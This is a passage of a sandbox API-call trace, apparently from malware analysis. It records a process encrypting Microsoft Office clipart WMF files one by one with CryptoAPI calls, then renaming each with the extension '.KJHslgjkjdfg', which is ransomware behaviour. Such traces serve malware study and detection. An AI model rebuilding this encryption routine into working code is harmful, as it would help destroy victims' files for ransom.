lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.243] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.243] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.243] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.243] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.243] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.243] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.243] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.243] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4464, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4464, lpOverlapped=0x0) returned 1 [0196.244] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4470, dwBufLen=0x4470 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4470) returned 1 [0196.245] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.245] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4470, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4470, lpOverlapped=0x0) returned 1 [0196.245] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.245] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.245] SetEndOfFile (hFile=0x130) returned 1 [0196.248] GetProcessHeap () returned 0x990000 [0196.248] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.248] GetProcessHeap () returned 0x990000 [0196.248] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.248] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf.kjhslgjkjdfg")) returned 1 [0196.249] CloseHandle (hObject=0x130) returned 1 [0196.249] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153508.WMF", cAlternateFileName="")) returned 1 [0196.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.251] GetProcessHeap () returned 0x990000 [0196.251] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.251] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.251] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.251] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.251] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.251] GetProcessHeap () returned 0x990000 [0196.251] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.251] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.252] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.252] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.254] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.254] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.254] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.254] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.255] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.255] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.255] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.255] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.255] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x85d0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x85d0, lpOverlapped=0x0) returned 1 [0196.256] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x85d0, dwBufLen=0x85d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x85d0) returned 1 [0196.257] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.257] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x85d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x85d0, lpOverlapped=0x0) returned 1 [0196.257] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.257] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x86a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.257] SetEndOfFile (hFile=0x130) returned 1 [0196.260] GetProcessHeap () returned 0x990000 [0196.260] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.260] GetProcessHeap () returned 0x990000 [0196.260] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.260] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf.kjhslgjkjdfg")) returned 1 [0196.261] CloseHandle (hObject=0x130) returned 1 [0196.261] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x31d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153514.WMF", cAlternateFileName="")) returned 1 [0196.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.262] GetProcessHeap () returned 0x990000 [0196.262] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.262] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.262] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.262] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.262] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.262] GetProcessHeap () returned 0x990000 [0196.263] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.263] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.263] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.263] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.265] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.265] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.265] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.265] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.265] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.265] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.265] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.265] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.265] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x31d0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x31d0, lpOverlapped=0x0) returned 1 [0196.267] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x31d0, dwBufLen=0x31d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x31d0) returned 1 [0196.267] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.267] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x31d0, lpOverlapped=0x0) returned 1 [0196.267] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.267] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x32a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.267] SetEndOfFile (hFile=0x130) returned 1 [0196.270] GetProcessHeap () returned 0x990000 [0196.270] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.270] GetProcessHeap () returned 0x990000 [0196.270] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.270] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf.kjhslgjkjdfg")) returned 1 [0196.272] CloseHandle (hObject=0x130) returned 1 [0196.272] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153516.WMF", cAlternateFileName="")) returned 1 [0196.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.272] GetProcessHeap () returned 0x990000 [0196.273] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.273] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.273] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.275] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.275] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.275] GetProcessHeap () returned 0x990000 [0196.275] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.275] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.275] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.275] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.275] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.276] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.276] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.276] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.276] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.276] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.276] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.276] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.277] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1d08, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1d08, lpOverlapped=0x0) returned 1 [0196.278] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d10, dwBufLen=0x1d10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d10) returned 1 [0196.278] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.278] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1d10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1d10, lpOverlapped=0x0) returned 1 [0196.278] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.278] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1de4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.278] SetEndOfFile (hFile=0x130) returned 1 [0196.281] GetProcessHeap () returned 0x990000 [0196.281] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.281] GetProcessHeap () returned 0x990000 [0196.281] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.281] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf.kjhslgjkjdfg")) returned 1 [0196.282] CloseHandle (hObject=0x130) returned 1 [0196.282] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x30f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153518.WMF", cAlternateFileName="")) returned 1 [0196.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.283] GetProcessHeap () returned 0x990000 [0196.283] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.283] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.283] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.283] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.283] GetProcessHeap () returned 0x990000 [0196.284] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.284] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.284] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.284] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.286] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.286] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.286] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.286] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.286] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.286] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.286] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.286] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.287] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x30f0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x30f0, lpOverlapped=0x0) returned 1 [0196.288] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x30f0, dwBufLen=0x30f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x30f0) returned 1 [0196.288] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.288] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x30f0, lpOverlapped=0x0) returned 1 [0196.288] CryptDestroyKey (hKey=0x9b6628) returned 1 